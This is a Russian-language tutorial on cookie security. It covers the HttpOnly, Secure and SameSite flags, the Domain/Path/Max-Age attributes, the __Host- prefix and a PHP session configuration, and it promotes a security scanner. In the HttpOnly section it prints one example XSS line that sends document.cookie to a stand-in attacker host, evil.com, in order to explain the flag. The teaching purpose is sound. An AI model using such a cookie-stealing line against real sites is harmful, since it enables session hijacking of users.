Перейти к содержимому
Skip to content
← Все статьи

Безопасность cookies: HttpOnly, Secure, SameSite

Почему безопасность cookies критически важна

Cookies — основной механизм хранения сессий и аутентификации в вебе. Неправильно настроенные cookies открывают двери для атак: кража сессий через XSS, подделка запросов через CSRF, перехват данных при передаче по HTTP. Три ключевых флага — HttpOnly, Secure и SameSite — закрывают большинство этих уязвимостей.

Флаг HttpOnly

Флаг HttpOnly запрещает доступ к cookie из JavaScript. Браузер отправляет cookie с HTTP-запросами, но document.cookie не видит её.

Без этого флага злоумышленник может внедрить скрипт через XSS-уязвимость и украсть сессионную cookie:

// XSS-атака без HttpOnly
new Image().src = "https://evil.com/steal?c=" + document.cookie;

С флагом HttpOnly такая атака невозможна — JavaScript просто не имеет доступа к cookie.

Когда использовать: всегда для сессионных cookies и токенов аутентификации. Не устанавливайте для cookies, которые нужны JavaScript (например, настройки темы или языка).

Set-Cookie: session_id=abc123; HttpOnly; Path=/

Флаг Secure

Флаг Secure гарантирует, что cookie передаётся только по SSL/TLS проверку. Без этого флага cookie может быть перехвачена при передаче по HTTP — например, в публичной Wi-Fi сети.

Атака man-in-the-middle без флага Secure:

  1. Пользователь подключается к публичному Wi-Fi
  2. Браузер отправляет HTTP-запрос (до редиректа на HTTPS)
  3. Cookie передаётся открытым текстом
  4. Злоумышленник перехватывает сессию

Когда использовать: всегда, если сайт работает по HTTPS (а он должен). Все сессионные и аутентификационные cookies обязаны иметь этот флаг.

Set-Cookie: session_id=abc123; Secure; HttpOnly; Path=/

Атрибут SameSite

Атрибут SameSite контролирует, отправляется ли cookie при межсайтовых запросах. Это основная защита от CSRF-атак.

SameSite=Strict

Cookie не отправляется ни при каких межсайтовых запросах. Максимальная безопасность, но может ухудшить UX — если пользователь перейдёт на ваш сайт из email-письма, он не будет залогинен.

SameSite=Lax

Cookie отправляется при навигации верхнего уровня (переход по ссылке), но не при POST-запросах, iframe, AJAX с других сайтов. Это значение по умолчанию в современных браузерах — хороший баланс безопасности и удобства.

SameSite=None

Cookie отправляется при любых межсайтовых запросах. Обязательно требует флаг Secure. Используется только когда cookie действительно нужна на другом домене (виджеты, OAuth, iframe-интеграции).

// Рекомендуемые настройки для сессионной cookie
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

// Для cross-site виджета
Set-Cookie: widget_token=xyz; Secure; SameSite=None; Path=/

Дополнительные атрибуты cookies

Domain

Определяет, для какого домена cookie доступна. Без атрибута Domain cookie привязана только к точному домену. С Domain=.example.com — доступна для всех поддоменов.

Рекомендация: не устанавливайте Domain без необходимости. Чем уже scope — тем безопаснее.

Path

Ограничивает cookie определённым путём. Path=/admin означает, что cookie отправляется только для запросов к /admin и вложенным путям.

Max-Age и Expires

Max-Age задаёт время жизни cookie в секундах. Expires — абсолютную дату. Без обоих атрибутов cookie является сессионной и удаляется при закрытии браузера.

Set-Cookie: remember_me=token; Max-Age=2592000; HttpOnly; Secure; SameSite=Lax

Префиксы __Host- и __Secure-

Специальные префиксы имён cookies дают дополнительные гарантии:

Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/

Рекомендуемая конфигурация

Для типичного веб-приложения:

// PHP
session_set_cookie_params([
    'lifetime' => 0,       // Сессионная cookie
    'path'     => '/',
    'domain'   => '',      // Только текущий домен
    'secure'   => true,    // Только HTTPS
    'httponly'  => true,    // Нет доступа из JS
    'samesite' => 'Lax'   // Защита от CSRF
]);

Как проверить настройки cookies

Используйте сканер безопасности Enterno.io для проверки заголовков безопасности вашего сайта, включая настройки cookies. В Chrome DevTools cookies можно просмотреть на вкладке Application → Cookies, где видны все флаги каждой cookie.

Итоги

Три флага — HttpOnly, Secure, SameSite — обязательны для всех сессионных cookies. Они защищают от XSS-кражи сессий, MITM-перехвата и CSRF-атак. Настройте их один раз — и закройте целый класс уязвимостей.

Проверьте ваш сайт прямо сейчас

Проверить →
Другие статьи: Безопасность
Безопасность
Открытые порты сервера: как проверить и почему это важно для безопасности
13.03.2026 · 11 просм.
Безопасность
Правила WAF: написание эффективных политик веб-файрвола
16.03.2026 · 21 просм.
Безопасность
Заголовки безопасности: CSP, HSTS, X-Frame-Options и другие
10.03.2025 · 32 просм.
Безопасность
HSTS — что это такое и зачем нужен вашему сайту
12.03.2026 · 19 просм.